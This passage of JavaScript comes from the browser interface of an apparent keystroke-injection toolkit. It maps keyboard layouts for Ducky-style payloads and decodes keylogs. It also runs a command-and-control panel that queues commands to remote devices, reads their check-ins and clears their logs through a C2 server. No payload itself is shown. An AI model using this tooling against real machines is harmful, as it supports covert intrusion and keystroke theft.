\"22\", \"23\", \"24\", \"25\", \"26\", \"27\", \"2d\", \"2e\", \"2f\", \"30\", \"31\", \"33\", \"34\", \"35\", \"36\", \"37\", \"38\", \"64\"];\n\t\t\n\t\tfunction generateKeymapViewerMenu() {\n\t\t\trows = [\n\t\t\t\t['29', '3a', '3b', '3c', '3d', '3e', '3f', '40', '41', '42', '43', '44', '45'],\n\t\t\t\t['35', '1e', '1f', '20', '21', '22', '23', '24', '25', '26', '27', '2d', '2e', '2a'],\n\t\t\t\t['2b', '14', '1a', '08', '15', '17', '1c', '18', '0c', '12', '13', '2f', '30', '31'],\n\t\t\t\t['39', '04', '16', '07', '09', '0a', '0b', '0d', '0e', '0f', '33', '34', '28'],\n\t\t\t\t['e1', '1d', '1b', '06', '19', '05', '11', '10', '36', '37', '38', 'e5'],\n\t\t\t\t['e0', 'e2', 'e3', '2c', 'e7', 'e6', 'e4']\n\t\t\t];\n\t\t\trows.forEach((row, i) => {\n\t\t\t\trow.forEach((keyName) => {\n\t\t\t\t\tdivName = document.createElement('div');\n\t\t\t\t\tdivName.id = `keymap_${keyName}`;\n\t\t\t\t\tdivName.classList.add(\"key\");\n\t\t\t\t\tdocument.getElementById(`keymap_row${i + 1}`).appendChild(divName);\n\t\t\t\t\tkeymapViewerKeys.push(keyName);\n\t\t\t\t})\n\t\t\t});\n\t\t}\n\t\t\n\t\tconst buildModifierTextCache = {};\n\t\tfunction buildModifierText(modifier) {\n\t\t\tconsole.log(`BuildModifierText: [${modifier}]`);\n\t\t\tconst numericModifier = parseInt(modifier, 16);\n\t\t\tif (buildModifierTextCache[numericModifier]) {\n\t\t\t\treturn buildModifierTextCache[numericModifier];\n\t\t\t}\n\t\t\tlet modifierText = \"\";\n\t\t\tfor (const scancode in modifiersInverted) {\n\t\t\t\tconst numericScancode = parseInt(scancode);\n\t\t\t\tif (numericModifier & numericScancode) {\n\t\t\t\t\tmodifierText += modifiersInverted[scancode] + \"+\";\n\t\t\t\t}\n\t\t\t}\n\t\t\tmodifierText = modifierText.slice(0, -1);\n\t\t\tbuildModifierTextCache[numericModifier] = modifierText;\n\t\t\treturn modifierText;\n\t\t}\n\t\t\n\t\tconst getKeyFromHIDCache = {};\n\t\tfunction getKeyFromHID(hid, layer) {\n\t\t\tconst cacheKey = `${hid}_${layer}`;\n\t\t\tif (getKeyFromHIDCache[cacheKey]) {\n\t\t\t\treturn getKeyFromHIDCache[cacheKey];\n\t\t\t}\n\t\t\n\t\t\tif (typeof keymapData[hid] === 'undefined') {\n\t\t\t\treturn \"NOKEY\";\n\t\t\t}\n\t\t\n\t\t\tconst keyVal = layer > 0 ? keymapData[hid][layer] : keymapData[hid][0];\n\t\t\tconst finalKey = keyVal === \"SPACE\" ? \" \" : keyVal;\n\t\t\t\n\t\t\tgetKeyFromHIDCache[cacheKey] = finalKey;\n\t\t\treturn finalKey;\n\t\t}\n\t\t\n\t\tfunction sortedKeymapGlobalArray() {\n\t\t\tconst keymapGlobalMap = new Map();\n\t\t\tkeymapGlobal.forEach(([key, value]) => {\n\t\t\t\tkey = key.toString(16);\n\t\t\t\tif (keymapGlobalMap.has(key)) {\n\t\t\t\t\tkeymapGlobalMap.get(key).push(value);\n\t\t\t\t} else {\n\t\t\t\t\tkeymapGlobalMap.set(key, [value]);\n\t\t\t\t}\n\t\t\t});\n\t\t\treturn new Map([...keymapGlobalMap.entries()].sort());\n\t\t}\n\t\t\n\t\tfunction generateKeymapList() {\n\t\t\tconst keymapListElement = document.getElementById(\"keymap-list\");\n\t\t\tkeymapListElement.innerHTML = \"\";\n\t\t\tkeymapList = [];\n\t\t\n\t\t\tfor (let variableName in locale) {\n\t\t\t\tkeymapList.push(variableName);\n\t\t\t\tconst name = document.createElement(\"option\");\n\t\t\t\tname.value = variableName;\n\t\t\t\tname.text = variableName;\n\t\t\t\tkeymapListElement.appendChild(name);\n\t\t\t}\n\t\t\n\t\t\tkeymapListPretty = keymapList.toString().split(',').join(', ');\n\t\t}\n\t\t\n\t\tfunction updateKeymapViewer(keymap, keymapViewer) {\n\t\t\tkeymapViewer.forEach((key, i) => {\n\t\t\t\tconst output = document.getElementById(`keymap_${key}`);\n\t\t\t\tconst currentKeys = keymap[key].map((value, index) => {\n\t\t\t\t\treturn value;\n\t\t\t\t});\n\t\t\t\toutput.innerHTML = currentKeys.map(value => `<div>${value}</div>`).join('');\n\t\t\t});\n\t\t\tlet keymapFindListDiv = document.getElementById('keymapFindList');\n\t\t\tkeymapFindListDiv.innerHTML = \"\";\n\t\t}\n\t\t\n\t\tfunction generateKeymap(localeName) {\n\t\t\tif (previousLocale !== localeName) {\n\t\t\t\tpreviousLocale = localeName;\n\t\t\t\tkeymapLocal = processKeymapLocal(getLocale(localeName));\n\t\t\t\tunpacked = unpackKeymap(keymapLocal);\n\t\t\t\tkeymapData = Object.assign({}, generateFullKeymapGlobal(), unpacked);\n\t\t\t\tkeymapInverted = generateInvertedKeymap(keymapData);\n\t\t\t\tupdateKeymapViewer(keymapData, keymapViewerKeys);\n\t\t\t\tmemoizedKeyToHidMapping.invalidateCache();\n\t\t\t\tmemoizedHidToKeyMapping.invalidateCache();\n\t\t\t\tkeylogDecoder.invalidateCache();\n\t\t\t} else {\n\t\t\t\tlogMessage(\"CRIT\", `Locale Unchanged from ${localeName}`);\n\t\t\t}\n\t\t}\n\t\t\n\t\tfunction generateFullKeymapGlobal() {\n\t\t\treturn keymapGlobal.reduce((acc, [key, value]) => {\n\t\t\t\tacc[key.toString(16)] = [value];\n\t\t\t\treturn acc;\n\t\t\t}, {});\n\t\t}\n\t\t\n\t\tfunction getLocale(localeName) {\n\t\t\tif (localeName) {\n\t\t\t\tlogMessage(\"CRIT\", `Locale Set to ${localeName}`);\n\t\t\t\treturn localeName.toString().toUpperCase();\n\t\t\t} else {\n\t\t\t\tlogMessage(\"CRIT\", `Locale Set to Default: ${locale[\"US\"].toString()}`);\n\t\t\t\treturn \"US\";\n\t\t\t}\n\t\t}\n\t\t\n\t\tfunction processKeymapLocal(keymapLocal) {\n\t\t\tkeymapData = locale[keymapLocal];\n\t\t\tif (!Array.isArray(keymapData)) {\n\t\t\t\tfor (let i = 0; i < 4; i++) {\n\t\t\t\t\tif (keymapData[i]) {\n\t\t\t\t\t\tkeymapData[i] = keymapData[i].split(\"\");\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn keymapData;\n\t\t}\n\t\t\n\t\tfunction unpackKeymap(keymapLocal) {\n\t\t\tconst unpacked = {};\n\t\t\tpositionalIds.forEach((currentUsage, i) => {\n\t\t\t\tunpacked[currentUsage] = keymapLocal.map((layer) => (layer[i] === \" \" ? \"\" : layer[i]));\n\t\t\t});\n\t\t\treturn unpacked;\n\t\t}\n\t\t\n\t\tconst memoizedKeyToHidMapping = (() => {\n\t\t\tlet cache = {};\n\t\t\tconst memoizedFunction = (key) => {\n\t\t\t\tif (cache[key]) {\n\t\t\t\t\treturn cache[key];\n\t\t\t\t}\n\t\t\t\tconst result = keyToHidMapping(key);\n\t\t\t\tif (result === undefined || result === null) {\n\t\t\t\t\tconsole.log(\"No matching value for key: \", key);\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tcache[key] = result;\n\t\t\t\treturn result;\n\t\t\t};\n\t\t\n\t\t\tmemoizedFunction.invalidateCache = () => {\n\t\t\t\tcache = {};\n\t\t\t};\n\t\t\n\t\t\treturn memoizedFunction;\n\t\t})();\n\t\t\n\t\tfunction keyToHidMapping(key) {\n\t\t\tif (key === \" \" || key === \" \") {\n\t\t\t\tkey = \"SPACE\";\n\t\t\t}\n\t\t\tif (key === \"COPILOT\" || key === \"COMPOSE\") {\n\t\t\t\tkey = \"COMPOSE\";\n\t\t\t}\n\t\t\tif (key === \"DOWN\" || key === \"DOWNARROW\" || key === \"DOWN_ARROW\") {\n\t\t\t\tkey = \"DOWNARROW\";\n\t\t\t}\n\t\t\tif (key === \"UP\" || key === \"UPARROW\" || key === \"UP_ARROW\") {\n\t\t\t\tkey = \"UPARROW\";\n\t\t\t}\n\t\t\tif (key === \"LEFT\" || key === \"LEFTARROW\" || key === \"LEFT_ARROW\") {\n\t\t\t\tkey = \"LEFTARROW\";\n\t\t\t}\n\t\t\tif (key === \"RIGHT\" || key === \"RIGHTARROW\" || key === \"RIGHT_ARROW\") {\n\t\t\t\tkey = \"RIGHTARROW\";\n\t\t\t}\n\t\t\tconst mappedKey = keymapInverted[key];\n\t\t\tif (key === \"102nd\" || key === \"102ND\") {\n\t\t\t\treturn [\"0\", \"64\"];\n\t\t\t} else if (mappedKey) {\n\t\t\t\tlogMessage(\"DEBUG\", `KeyToHidMapping: (${typeof key}:${key}:${mappedKey})`);\n\t\t\t\treturn mappedKey;\n\t\t\t} else {\n\t\t\t\tlogMessage(\"INFO\", `No keyToHidMapping for (${typeof key}:${key}), check DUCKY_LANG mapping`);\n\t\t\t\tlogMessage(\"INFO\", `? PAYLOAD HALTED, ERRORS DETECTED`);\n\t\t\t}\n\t\t}\n\t\t\n\t\tconst hidToKey = (keycode) => (keycode in keymapData ? keymap[keycode] : keycode);\n\t\t\n\t\tconst memoizedHidToKeyMapping = (() => {\n\t\t\tlet cache = {};\n\t\t\n\t\t\tconst memoizedFunction = (key) => {\n\t\t\t\tif (cache[key]) {\n\t\t\t\t\treturn cache[key];\n\t\t\t\t}\n\t\t\t\tconst result = hidToKeyMapping(key);\n\t\t\t\tif (result === undefined || result === null) {\n\t\t\t\t\tconsole.log(\"No matching value for key: \", key);\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tcache[key] = result;\n\t\t\t\treturn result;\n\t\t\t};\n\t\t\n\t\t\tmemoizedFunction.invalidateCache = () => {\n\t\t\t\tcache = {};\n\t\t\t};\n\t\t\n\t\t\treturn memoizedFunction;\n\t\t})();\n\t\t\n\t\tfunction hidToKeyMapping(key) {\n\t\t\tconst mappedKey = keymapData[key];\n\t\t\tconst logType = mappedKey ? \"DEBUG\" : \"INFO\";\n\t\t\tconst message = mappedKey ?\n\t\t\t\t`HidToKeyMapping: (${typeof key}:${key}:${mappedKey})` :\n\t\t\t\t`No hidToKeyMapping for (${typeof key}:${key}), check DUCKY_LANG mapping`;\n\t\t\n\t\t\tlogMessage(logType, message);\n\t\t\n\t\t\tif (!mappedKey) {\n\t\t\t\tlogMessage(\"INFO\", \"? PAYLOAD HALTED, ERRORS DETECTED\");\n\t\t\t}\n\t\t\n\t\t\treturn mappedKey;\n\t\t}\n\t\t\n\t\tfunction generateInvertedKeymap(keymap) {\n\t\t\treturn Object.entries(keymap).reduce((inverted, [id, values]) => {\n\t\t\t\tvalues.forEach((value, i) => {\n\t\t\t\t\tconst modifier = [0x00, 0x02, 0x40, 0x42][i].toString(16);\n\t\t\t\t\tinverted[value] = [modifier, id];\n\t\t\t\t});\n\t\t\t\treturn inverted;\n\t\t\t}, {});\n\t\t}\n\t\t\n\t\tfunction findMatchingLocale(positionId, layer, character) {\n\t\t\tlet positionIdIndex = positionalIds.indexOf(positionId);\n\t\t\n\t\t\tif (positionIdIndex === -1) {\n\t\t\t\treturn new Set();\n\t\t\t}\n\t\t\n\t\t\tlayer = parseInt(layer);\n\t\t\tlet matchingLocales = new Set();\n\t\t\n\t\t\tfor (let localeName in locale) {\n\t\t\t\tlet keymap = locale[localeName];\n\t\t\t\tif (layer === 0) {\n\t\t\t\t\tfor (let layers of keymap) {\n\t\t\t\t\t\tif (layers[positionIdIndex] === character) {\n\t\t\t\t\t\t\tmatchingLocales.add(localeName);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else if (layer <= keymap.length) {\n\t\t\t\t\tif (keymap[layer - 1][positionIdIndex] === character) {\n\t\t\t\t\t\tmatchingLocales.add(localeName);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\n\t\t\treturn matchingLocales;\n\t\t}\n\t\t\n\t\tfunction findSharedLocales(...args) {\n\t\t\tif (args.length % 3 !== 0) {\n\t\t\t\treturn [];\n\t\t\t}\n\t\t\n\t\t\tlet comparisons = [];\n\t\t\tfor (let i = 0; i < args.length; i += 3) {\n\t\t\t\tcomparisons.push([args[i], args[i + 1], args[i + 2]]);\n\t\t\t}\n\t\t\n\t\t\tlet sharedLocales = findMatchingLocale(...comparisons[0]);\n\t\t\tcomparisons.slice(1).forEach(comp => {\n\t\t\t\tlet matchingLocales = findMatchingLocale(...comp);\n\t\t\t\tsharedLocales = new Set([...sharedLocales].filter(x => matchingLocales.has(x)));\n\t\t\t});\n\t\t\n\t\t\tlet localesString = Array.from(sharedLocales).join(', ');\n\t\t\n\t\t\tlet keymapFindListDiv = document.getElementById('keymapFindList');\n\t\t\tkeymapFindListDiv.innerHTML = localesString;\n\t\t\n\t\t\treturn Array.from(sharedLocales);\n\t\t}\n\t\t\n\t\tfunction findKeymap() {\n\t\t\tlet keys = document.querySelectorAll('.key > div:not([id]):not([class])');\n\t\t\tkeys.forEach(function(key) {\n\t\t\t\tlet id = key.parentElement.id.split('_')[1];\n\t\t\t\tif (positionalIds.includes(id)) {\n\t\t\t\t\tkey.innerHTML = '';\n\t\t\t\t}\n\t\t\t});\n\t\t\n\t\t\tlet keyElements = document.querySelectorAll('.key');\n\t\t\tlet pressedKeys = [];\n\t\t\tlet activeElement = null;\n\t\t\n\t\t\tkeyElements.forEach(function(keyElement) {\n\t\t\t\tlet id = keyElement.id.split('_')[1];\n\t\t\t\tif (!positionalIds.includes(id)) {\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\n\t\t\t\tkeyElement.addEventListener('click', function() {\n\t\t\t\t\tif (activeElement) {\n\t\t\t\t\t\tactiveElement.style.backgroundColor = '';\n\t\t\t\t\t\twindow.removeEventListener('keypress', activeElement.keypressHandler);\n\t\t\t\t\t}\n\t\t\n\t\t\t\t\tthis.style.backgroundColor = 'red';\n\t\t\t\t\tactiveElement = this;\n\t\t\n\t\t\t\t\tthis.keypressHandler = function(e) {\n\t\t\t\t\t\tif (e.key === 'Backspace' || e.key === 'Delete') {\n\t\t\t\t\t\t\tpressedKeys = pressedKeys.filter((key) => key[0] !== id);\n\t\t\t\t\t\t\tactiveElement.querySelector('div:not([id]):not([class])').textContent = '';\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tlet keyValue = e.key;\n\t\t\n\t\t\t\t\t\t\tactiveElement.querySelector('div:not([id]):not([class])').textContent = keyValue;\n\t\t\t\t\t\t\tactiveElement.style.backgroundColor = '';\n\t\t\t\t\t\t\tpressedKeys = pressedKeys.filter((key) => key[0] !== id);\n\t\t\t\t\t\t\tpressedKeys.push([id, 0, keyValue]);\n\t\t\t\t\t\t\tfindSharedLocales(...pressedKeys.flat());\n\t\t\t\t\t\t}\n\t\t\t\t\t};\n\t\t\n\t\t\t\t\twindow.addEventListener('keypress', activeElement.keypressHandler);\n\t\t\t\t});\n\t\t\t});\n\t\t}\n\t\t\n\t\tconst searchInput = document.getElementById('search');\n\t\t\n\t\tconst entries = Array.from(document.querySelectorAll('#helppayloadExample, #helppayload, #helpkeylog, #helpselfDestruct, #helppayloadGeofencing, #helppayloadUSBIDs, #helpglobalKeys'));\n\t\t\n\t\tdocument.getElementById('search').addEventListener('keyup', function() {\n\t\t\tvar input, filter, div, i, txtValue;\n\t\t\tinput = document.getElementById('search');\n\t\t\tfilter = input.value.toUpperCase();\n\t\t\tdiv = document.querySelectorAll('.helpEntry');\n\t\t\n\t\t\tvar divsToToggle = document.querySelectorAll('#helppayloadExample, #helppayload, #helpkeylog, #helpselfDestruct, #helppayloadGeofencing, #helppayloadUSBIDs, #helpglobalKeys');\n\t\t\n\t\t\tif (input.value === '') {\n\t\t\t\tdivsToToggle.forEach((div) => div.classList.add('hidden'));\n\t\t\t} else {\n\t\t\t\tdivsToToggle.forEach((div) => div.classList.remove('hidden'));\n\t\t\t}\n\t\t\n\t\t\tfor (i = 0; i < div.length; i++) {\n\t\t\t\ttxtValue = div[i].textContent || div[i].innerText;\n\t\t\t\tif (txtValue.toUpperCase().indexOf(filter) > -1) {\n\t\t\t\t\tdiv[i].style.display = \"\";\n\t\t\t\t} else {\n\t\t\t\t\tdiv[i].style.display = \"none\";\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t\t\n\t\tvar tooltipTimeout;\n\t\t\n\t\tfunction checkInput(input, field) {\n\t\t\tvar pattern = new RegExp(input.pattern);\n\t\t\tvar tooltipText = document.getElementById(field);\n\t\t\n\t\t\tclearTimeout(tooltipTimeout);\n\t\t\n\t\t\tif (!pattern.test(input.value)) {\n\t\t\t\tinput.classList.add('glowing-effect');\n\t\t\t\ttooltipText.textContent = input.title;\n\t\t\t\ttooltipText.style.visibility = 'visible';\n\t\t\t\ttooltipTimeout = setTimeout(() => {\n\t\t\t\t\ttooltipText.style.visibility = 'hidden';\n\t\t\t\t}, 30000);\n\t\t\t} else {\n\t\t\t\tinput.classList.remove('glowing-effect');\n\t\t\t\ttooltipText.textContent = '';\n\t\t\t\ttooltipText.style.visibility = 'hidden';\n\t\t\t}\n\t\t}\n\t\t\n\t\tfunction checkInputList(input, field, dataListId) {\n\t\t\tvar dataList = document.getElementById(dataListId);\n\t\t\tvar tooltipText = document.getElementById(field);\n\t\t\n\t\t\tclearTimeout(tooltipTimeout);\n\t\t\tvar options = Array.from(dataList.options).map(opt => opt.value);\n\t\t\n\t\t\tif (!options.includes(input.value)) {\n\t\t\t\tinput.classList.add('glowing-effect');\n\t\t\t\ttooltipText.textContent = input.title;\n\t\t\t\ttooltipText.style.visibility = 'visible';\n\t\t\t\ttooltipTimeout = setTimeout(() => {\n\t\t\t\t\ttooltipText.style.visibility = 'hidden';\n\t\t\t\t}, 30000);\n\t\t\t} else {\n\t\t\t\tinput.classList.remove('glowing-effect');\n\t\t\t\ttooltipText.textContent = '';\n\t\t\t\ttooltipText.style.visibility = 'hidden';\n\t\t\t}\n\t\t}\n\t\t\n\t\tfunction applyEffect(element) {\n\t\t\telement.classList.add('apply-effect');\n\t\t\tsetTimeout(function() {\n\t\t\t\telement.classList.remove('apply-effect');\n\t\t\t}, 1000);\n\t\t}\n\t\t\n\t\tconst editor = document.getElementById('payload');\n\t\tconst lineNumbers = document.getElementById('lineNumbers');\n\t\t\n\t\teditor.addEventListener('input', updateLineNumbers);\n\t\teditor.addEventListener('scroll', syncScroll);\n\t\t\n\t\tfunction updateLineNumbers() {\n\t\t\tconst lines = editor.value.split('\\n');\n\t\t\tlineNumbers.innerHTML = '';\n\t\t\tlines.forEach((line, index) => {\n\t\t\t\tconst lineNumber = document.createElement('div');\n\t\t\t\tlineNumber.textContent = index + 1;\n\t\t\t\tlineNumbers.appendChild(lineNumber);\n\t\t\t});\n\t\t}\n\t\t\n\t\tfunction syncScroll() {\n\t\t\tlineNumbers.scrollTop = editor.scrollTop;\n\t\t}\n\t\t\n\t\tfunction setEditorLineColors(lineNumber, color) {\n\t\t\tconst lines = lineNumbers.childNodes;\n\t\t\tif (lineNumber > 0 && lineNumber <= lines.length) {\n\t\t\t\tconst lineElement = lines[lineNumber - 1];\n\t\t\t\tlineElement.className = lineElement.className\n\t\t\t\t\t.split(' ')\n\t\t\t\t\t.filter(c => !c.startsWith('line-'))\n\t\t\t\t\t.join(' ');\n\t\t\t\tif (color !== 'none') {\n\t\t\t\t\tlineElement.classList.add(`line-${color}`);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\tupdateLineNumbers();\n\t\t\n\t\tfunction downloadFrontendlog() {\n\t\t\tdownloadFile('debuglog', 'frontend-log', true);\n\t\t}\n\t\tif (hostname == \"localhost\") {\n\t\t\thostname = \"192.168.5.140\"\n\t\t}\n\t\t\n\t\tfunction downloadFrontendlog() {\n\t\t\tdownloadFile('debuglog', 'frontend-log', true);\n\t\t\tdownloadFile('c2log', 'c2-log', true);\n\t\t}\n\t\t\n\t\tconsole.log(hostname);\n\t\t\n\t\tviewDialog('loadingScreen', 'close');\n\t\ttoggleClass('navbar-wifiIcon', 'visible', 'hidden');\n\t\ttoggleClass('wifiDetails', 'visible', 'hidden');\n\t\ttoggleClass('wifiRTT', 'visible', 'hidden');\n\t\ttoggleClass('wifiRSSi', 'visible', 'hidden');\n\t\ttoggleClass('deviceRefreshRate', 'hidden', 'visible');\n\t\ttoggleClass('contentSubNav_c2log', 'hidden', 'visible');\n\t\ttoggleClass('contentSubNav_payload', 'hidden', 'visible');\n\t\ttoggleClass('sidebarNav_queue', 'hidden', 'visible');\n\t\t\n\t\tconst deviceSelectDiv = document.getElementById(\"deviceSelect\");\n\t\tif (!deviceSelectDiv.querySelector(\"#alias\")) {\n\t\t\tconst selectElement = document.createElement(\"select\");\n\t\t\tselectElement.id = \"alias\";\n\t\t\tselectElement.name = \"alias\";\n\t\t\tdeviceSelectDiv.appendChild(selectElement);\n\t\t}\n\t\t\n\t\tasync function addCmd(alias, data) {\n\t\t\tconst response = await fetch(`http://${hostname}:8080/C2admin`, {\n\t\t\t\tmethod: 'POST',\n\t\t\t\tbody: JSON.stringify({\n\t\t\t\t\talias: alias,\n\t\t\t\t\taction: 'queueAdd',\n\t\t\t\t\tdata: data\n\t\t\t\t}),\n\t\t\t\theaders: {\n\t\t\t\t\t'Content-Type': 'application/json'\n\t\t\t\t}\n\t\t\t});\n\t\t\n\t\t\tif (response.ok) {\n\t\t\t\ttry {\n\t\t\t\t\tconst result = await response.json();\n\t\t\t\t\t// console.log(result);\n\t\t\t\t} catch (error) {\n\t\t\t\t\t// console.log('Response is not JSON:', error);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// console.log('Error with request:', response.status);\n\t\t\t}\n\t\t\n\t\t\tloadAdminData();\n\t\t\tloadCmdQueue(alias);\n\t\t}\n\t\t\n\t\tasync function deleteCmd(alias, index) {\n\t\t\tconst response = await fetch(`http://${hostname}:8080/C2admin`, {\n\t\t\t\tmethod: 'POST',\n\t\t\t\tbody: JSON.stringify({\n\t\t\t\t\talias: alias,\n\t\t\t\t\taction: 'queueDelete',\n\t\t\t\t\tdata: index\n\t\t\t\t}),\n\t\t\t\theaders: {\n\t\t\t\t\t'Content-Type': 'application/json'\n\t\t\t\t}\n\t\t\t});\n\t\t\n\t\t\tif (response.ok) {\n\t\t\t\ttry {\n\t\t\t\t\tconst result = await response.json();\n\t\t\t\t\t// console.log(result);\n\t\t\t\t} catch (error) {\n\t\t\t\t\t// console.log('Response is not JSON:', error);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// console.log('Error with request:', response.status);\n\t\t\t}\n\t\t\n\t\t\tloadAdminData();\n\t\t\tloadCmdQueue(alias);\n\t\t}\n\t\t\n\t\tasync function clearQueue(alias) {\n\t\t\tconst response = await fetch(`http://${hostname}:8080/C2admin`, {\n\t\t\t\tmethod: 'POST',\n\t\t\t\tbody: JSON.stringify({\n\t\t\t\t\talias: alias,\n\t\t\t\t\taction: 'queueClear',\n\t\t\t\t\tdata: \"\"\n\t\t\t\t}),\n\t\t\t\theaders: {\n\t\t\t\t\t'Content-Type': 'application/json'\n\t\t\t\t}\n\t\t\t});\n\t\t\n\t\t\tif (response.ok) {\n\t\t\t\ttry {\n\t\t\t\t\tconst result = await response.json();\n\t\t\t\t\t// console.log(result);\n\t\t\t\t} catch (error) {\n\t\t\t\t\t// console.log('Response is not JSON:', error);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// console.log('Error with request:', response.status);\n\t\t\t}\n\t\t\n\t\t\tloadAdminData();\n\t\t\tloadCmdQueue(alias);\n\t\t}\n\t\t\n\t\tasync function clearLog(aliasValue) {\n\t\t\tconst response = await fetch(`http://${hostname}:8080/C2admin`, {\n\t\t\t\tmethod: 'POST',\n\t\t\t\tbody: JSON.stringify({\n\t\t\t\t\talias: aliasValue,\n\t\t\t\t\taction: 'logClear',\n\t\t\t\t\tdata: \"\"\n\t\t\t\t}),\n\t\t\t\theaders: {\n\t\t\t\t\t'Content-Type': 'application/json'\n\t\t\t\t}\n\t\t\t});\n\t\t\n\t\t\tif (response.ok) {\n\t\t\t\ttry {\n\t\t\t\t\tconst result = await response.json();\n\t\t\t\t\t// console.log(result);\n\t\t\t\t} catch (error) {\n\t\t\t\t\t// console.log('Response is not JSON:', error);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// console.log('Error with request:', response.status);\n\t\t\t}\n\t\t\n\t\t\tloadAdminData();\n\t\t\tloadCmdQueue(alias);\n\t\t}\n\t\t\n\t\tasync function clearLogAll(aliasValue) {\n\t\t\tconst response = await fetch(`http://${hostname}:8080/C2admin`, {\n\t\t\t\tmethod: 'POST',\n\t\t\t\tbody: JSON.stringify({\n\t\t\t\t\talias: aliasValue,\n\t\t\t\t\taction: 'logClearAll',\n\t\t\t\t\tdata: \"\"\n\t\t\t\t}),\n\t\t\t\theaders: {\n\t\t\t\t\t'Content-Type': 'application/json'\n\t\t\t\t}\n\t\t\t});\n\t\t\n\t\t\tif (response.ok) {\n\t\t\t\ttry {\n\t\t\t\t\tconst result = await response.json();\n\t\t\t\t\t// console.log(result);\n\t\t\t\t} catch (error) {\n\t\t\t\t\t// console.log('Response is not JSON:', error);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// console.log('Error with request:', response.status);\n\t\t\t}\n\t\t\n\t\t\tloadAdminData();\n\t\t\tloadCmdQueue(alias);\n\t\t}\n\t\t\n\t\tfunction loadCmdQueue(alias) {\n\t\t\tlastDateTime = \"\";\n\t\t\tconst cmdQueueTable = document.getElementById('cmdQueueTable').getElementsByTagName('tbody')[0];\n\t\t\tcmdQueueTable.innerHTML = '';\n\t\t\tconst device = adminData.devices.find(device => device.alias === alias);\n\t\t\tdevice.cmd_queue.forEach((cmd, index) => {\n\t\t\t\tconst row = cmdQueueTable.insertRow();\n\t\t\t\tconst cmdCell = row.insertCell(0);\n\t\t\t\tconst actionCell = row.insertCell(1);\n\t\t\n\t\t\t\tcmdCell.textContent = cmd;\n\t\t\n\t\t\t\tconst deleteButton = document.createElement('button');\n\t\t\t\tdeleteButton.textContent = 'X';\n\t\t\t\tdeleteButton.onclick = () => {\n\t\t\t\t\tdeleteCmd(alias, index);\n\t\t\t\t};\n\t\t\n\t\t\t\tactionCell.appendChild(deleteButton);\n\t\t\t});\n\t\t}\n\t\t\n\t\tlet processedMessages = new Set();\n\t\t\n\t\tfunction formatDateTime(date) {\n\t\t\tconst year = date.getFullYear();\n\t\t\tconst month = String(date.getMonth() + 1).padStart(2, '0');\n\t\t\tconst day = String(date.getDate()).padStart(2, '0');\n\t\t\tconst hour = String(date.getHours()).padStart(2, '0');\n\t\t\tconst minute = String(date.getMinutes()).padStart(2, '0');\n\t\t\tconst second = String(date.getSeconds()).padStart(2, '0');\n\t\t\n\t\t\treturn `${year}/${month}/${day} - ${hour}:${minute}:${second}`;\n\t\t}\n\t\t\n\t\tasync function loadLogs(alias) {\n\t\t\tconst aliasSelect = document.getElementById('alias');\n\t\t\tlet aliasToUse = alias ? alias : (aliasSelect.value ? aliasSelect.value : \"\");\n\t\t\tclearLogsAlias = document.getElementById('clearLogsAlias');\n\t\t\tclearLogsAlias.innerHTML = aliasToUse;\n\t\t\tlet url = aliasToUse && aliasToUse.length > 0 ?\n\t\t\t\t`http://${hostname}:8080/C2log?alias=${encodeURIComponent(aliasToUse)}` :\n\t\t\t\t`http://${hostname}:8080/C2log`;\n\t\t\n\t\t\tif (c2logAbridge == \"1\") {\n\t\t\t\turl += (url.includes(\"?\") ? \"&\" : \"?\") + \"abridge=True\";\n\t\t\t}\n\t\t\n\t\t\tconst response = await fetch(url);\n\t\t\tlet data = await response.text();\n\t\t\tlet lines = data.split('\\n');\n\t\t\tdocument.getElementById('c2log').textContent = lines.join('\\n');\n\t\t\n\t\t\tlet lastOutLine = lines.slice().reverse().find(line => line.includes(', out,'));\n\t\t\tif (lastOutLine) {\n\t\t\t\tlet parts = lastOutLine.split(', ');\n\t\t\t\tlet dateTime = new Date(parts[1]);\n\t\t\t\tlet currentTime = new Date();\n\t\t\t\tlet difference = (currentTime - dateTime) / 1000;\n\t\t\t\tlet pollRate = 10 * Number(document.getElementById('queuePollRate').value);\n\t\t\n\t\t\t\tif (difference > pollRate || alwaysDisplayLastPoll == \"1\") {\n\t\t\t\t\tdocument.getElementById('navbarAlerts').innerHTML = `Last Check-In: ${formatDateTime(dateTime)}`;\n\t\t\t\t} else {\n\t\t\t\t\tdocument.getElementById('navbarAlerts').innerHTML = '';\n\t\t\t\t}\n\t\t\t}\n\t\t\n\t\t\tlines = lines.filter(line => !line.match(/.*, out, .*/));\n\t\t\n\t\t\tfor (let line of lines) {\n\t\t\t\tif (line !== \"\" && !processedMessages.has(line)) {\n\t\t\t\t\tlet parts = line.split(', ');\n\t\t\t\t\tlet dateTime = new Date(parts[1]);\n\t\t\t\t\tif (lastDateTime !== null && dateTime < lastDateTime) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tlastDateTime = dateTime;\n\t\t\t\t\tlet apiMessage = parts[3];\n\t\t\t\t\tprocessOnMessage(apiMessage);\n\t\t\t\t\tprocessedMessages.add(line);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\tasync function loadAdminData() {\n\t\t\tconst aliasSelect = document.getElementById('alias');\n\t\t\tconst response = await fetch(`http://${hostname}:8080/C2admin`);\n\t\t\tadminData = await response.json();\n\t\t\n\t\t\tif (!adminData.devices.length) {\n\t\t\t\tcreateDialog({\n\t\t\t\t\tid: 'C2Error',\n\t\t\t\t\ttitle: 'C2Server Provisioning Error',\n\t\t\t\t\tdescription: 'No devices have been configured.<br /><br /> Please run provisioning via:<br /> python3 ./c2server.py 